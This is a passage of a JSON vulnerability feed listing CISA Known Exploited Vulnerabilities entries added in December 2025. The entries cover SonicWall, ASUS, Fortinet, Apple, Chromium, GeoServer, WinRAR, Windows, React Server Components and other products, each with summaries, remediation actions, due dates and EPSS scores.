unavailable","publishedAt":"2025-12-17","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SMA1000 appliance","stacks":["SonicWall","SMA1000 appliance"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-17","dueAt":"2025-12-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02756,"percentile":0.86146,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-40602&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-40602","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-40602 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-40602&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-40602, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-59374","cveId":"CVE-2025-59374","aliases":[],"kind":"vulnerability","title":"ASUS Live Update Embedded Malicious Code Vulnerability","summary":"ASUS Live Update contains an embedded malicious code vulnerability client were distributed with unauthorized modifications introduced through a supply chain compromise. The modified builds could cause devices meeting specific targeting conditions to perform unintended actions. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-12-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-17","updatedAt":null,"regions":["Global"],"vendor":"ASUS","product":"Live Update","stacks":["ASUS","Live Update"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-17","dueAt":"2026-01-07","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01197,"percentile":0.67887,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-59374&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-59374","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-59374 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-59374&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-59374, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-59718","cveId":"CVE-2025-59718","aliases":[],"kind":"vulnerability","title":"Fortinet Multiple Products Improper Verification of Cryptographic Signature Vulnerability","summary":"Fortinet FortiOS, FortiSwitchMaster, FortiProxy, and FortiWeb contain an improper verification of cryptographic signature vulnerability that may allow an unauthenticated attacker to bypass the FortiCloud SSO login authentication via a crafted SAML message. Please be aware that CVE-2025-59719 pertains to the same problem and is mentioned in the same vendor advisory. Ensure to apply all patches mentioned in the advisory.","detail":"CISA added this entry on 2025-12-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-16","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"Multiple Products","stacks":["Fortinet","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-16","dueAt":"2025-12-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.68293,"percentile":0.99326,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-59718&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-59718","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-59718 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-59718&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-59718, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-14611","cveId":"CVE-2025-14611","aliases":[],"kind":"vulnerability","title":"Gladinet CentreStack and Triofox Hard Coded Cryptographic Vulnerability","summary":"Gladinet CentreStack and TrioFox contain a hardcoded cryptographic keys vulnerability for their implementation of the AES cryptoscheme. This vulnerability degrades security for public exposed endpoints that may make use of it and may offer arbitrary local file inclusion when provided a specially crafted request without authentication.","detail":"CISA added this entry on 2025-12-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-15","updatedAt":null,"regions":["Global"],"vendor":"Gladinet","product":"CentreStack and Triofox","stacks":["Gladinet","CentreStack and Triofox"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-15","dueAt":"2026-01-05","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.53302,"percentile":0.98976,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-14611&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-14611","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-14611 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-14611&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-14611, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-43529","cveId":"CVE-2025-43529","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Use-After-Free WebKit Vulnerability","summary":"Apple iOS, iPadOS, macOS, and other Apple products contain a use-after-free vulnerability in WebKit. Processing maliciously crafted web content may lead to memory corruption. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2025-12-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-15","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-15","dueAt":"2026-01-05","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.2565,"percentile":0.97946,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-43529&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-43529","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-43529 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-43529&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-43529, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-4063","cveId":"CVE-2018-4063","aliases":[],"kind":"vulnerability","title":"Sierra Wireless AirLink ALEOS Unrestricted Upload of File with Dangerous Type Vulnerability","summary":"Sierra Wireless AirLink ALEOS contains an unrestricted upload of file with dangerous type vulnerability. A specially crafted HTTP request can upload a file, resulting in executable code being uploaded, and routable, to the webserver. An attacker can make an authenticated HTTP request to trigger this vulnerability. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-12-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-12","updatedAt":null,"regions":["Global"],"vendor":"Sierra Wireless","product":"AirLink ALEOS","stacks":["Sierra Wireless","AirLink ALEOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-12","dueAt":"2026-01-02","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.2726,"percentile":0.98043,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-4063&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-4063","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-4063 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-4063&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-4063, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-14174","cveId":"CVE-2025-14174","aliases":[],"kind":"vulnerability","title":"Google Chromium Out of Bounds Memory Access Vulnerability","summary":"Google Chromium contains an out of bounds memory access vulnerability in ANGLE that could allow a remote attacker to perform out of bounds memory access via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2025-12-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-12","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium","stacks":["Google Chrome","Google","Chromium"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-12","dueAt":"2026-01-02","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.55334,"percentile":0.99024,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-14174&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-14174","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-14174 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-14174&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-14174, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-58360","cveId":"CVE-2025-58360","aliases":[],"kind":"vulnerability","title":"OSGeo GeoServer Improper Restriction of XML External Entity Reference Vulnerability","summary":"OSGeo GeoServer contains an improper restriction of XML external entity reference vulnerability that occurs when the application accepts XML input through a specific endpoint /geoserver/wms operation GetMap and could allow an attacker to define external entities within the XML request.","detail":"CISA added this entry on 2025-12-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-11","updatedAt":null,"regions":["Global"],"vendor":"OSGeo","product":"GeoServer","stacks":["OSGeo","GeoServer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-11","dueAt":"2026-01-01","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.60012,"percentile":0.99126,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-58360&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-58360","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-58360 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-58360&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-58360, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-6218","cveId":"CVE-2025-6218","aliases":[],"kind":"vulnerability","title":"RARLAB WinRAR Path Traversal Vulnerability","summary":"RARLAB WinRAR contains a path traversal vulnerability allowing an attacker to execute code in the context of the current user.","detail":"CISA added this entry on 2025-12-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-09","updatedAt":null,"regions":["Global"],"vendor":"RARLAB","product":"WinRAR","stacks":["7-Zip and WinRAR","RARLAB","WinRAR"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-09","dueAt":"2025-12-30","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90479,"percentile":0.99799,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-6218&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-6218","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-6218 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-6218&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-6218, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-62221","cveId":"CVE-2025-62221","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Use After Free Vulnerability","summary":"Microsoft Windows Cloud Files Mini Filter Driver contains a use after free vulnerability that can allow an authorized attacker to elevate privileges locally.","detail":"CISA added this entry on 2025-12-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-09","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-09","dueAt":"2025-12-30","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02505,"percentile":0.84612,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-62221&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-62221","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-62221 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-62221&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-62221, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-37055","cveId":"CVE-2022-37055","aliases":[],"kind":"vulnerability","title":"D-Link Routers Buffer Overflow Vulnerability","summary":"D-Link Routers contains a buffer overflow vulnerability that has a high impact on confidentiality, integrity, and availability. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-12-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-08","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"Routers","stacks":["D-Link","Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-08","dueAt":"2025-12-29","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.55531,"percentile":0.99029,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-37055&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-37055","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-37055 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-37055&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-37055, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-66644","cveId":"CVE-2025-66644","aliases":[],"kind":"vulnerability","title":"Array Networks ArrayOS AG OS Command Injection Vulnerability","summary":"Array Networks ArrayOS AG contains an OS command injection vulnerability that could allow an attacker to execute arbitrary commands.","detail":"CISA added this entry on 2025-12-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-08","updatedAt":null,"regions":["Global"],"vendor":"Array Networks","product":"ArrayOS AG","stacks":["Array Networks","ArrayOS AG"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-08","dueAt":"2025-12-29","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03415,"percentile":0.88803,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-66644&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-66644","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-66644 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-66644&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-66644, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-55182","cveId":"CVE-2025-55182","aliases":[],"kind":"vulnerability","title":"Meta React Server Components Remote Code Execution Vulnerability","summary":"Meta React Server Components contains a remote code execution vulnerability that could allow unauthenticated remote code execution by exploiting a flaw in how React decodes payloads sent to React Server Function endpoints. Please note CVE-2025-66478 has been rejected, but it is associated with CVE-2025- 55182.","detail":"CISA added this entry on 2025-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-05","updatedAt":null,"regions":["Global"],"vendor":"Meta","product":"React Server Components","stacks":["Meta","React Server Components"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-05","dueAt":"2025-12-12","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99802,"percentile":0.99957,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-55182&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-55182","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-12-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-55182 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-55182&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-55182, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-26828","cveId":"CVE-2021-26828","aliases":[],"kind":"vulnerability","title":"OpenPLC ScadaBR Unrestricted Upload of File with Dangerous Type Vulnerability","summary":"OpenPLC ScadaBR contains an unrestricted upload of file with dangerous type vulnerability that allows remote authenticated users to upload and execute arbitrary JSP files via view_edit.shtm.","detail":"CISA added this entry on 2025-12-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-12-03","updatedAt":null,"regions":["Global"],"vendor":"OpenPLC","product":"ScadaBR","stacks":["OpenPLC","ScadaBR"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-12-03","dueAt":"2025-12-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are 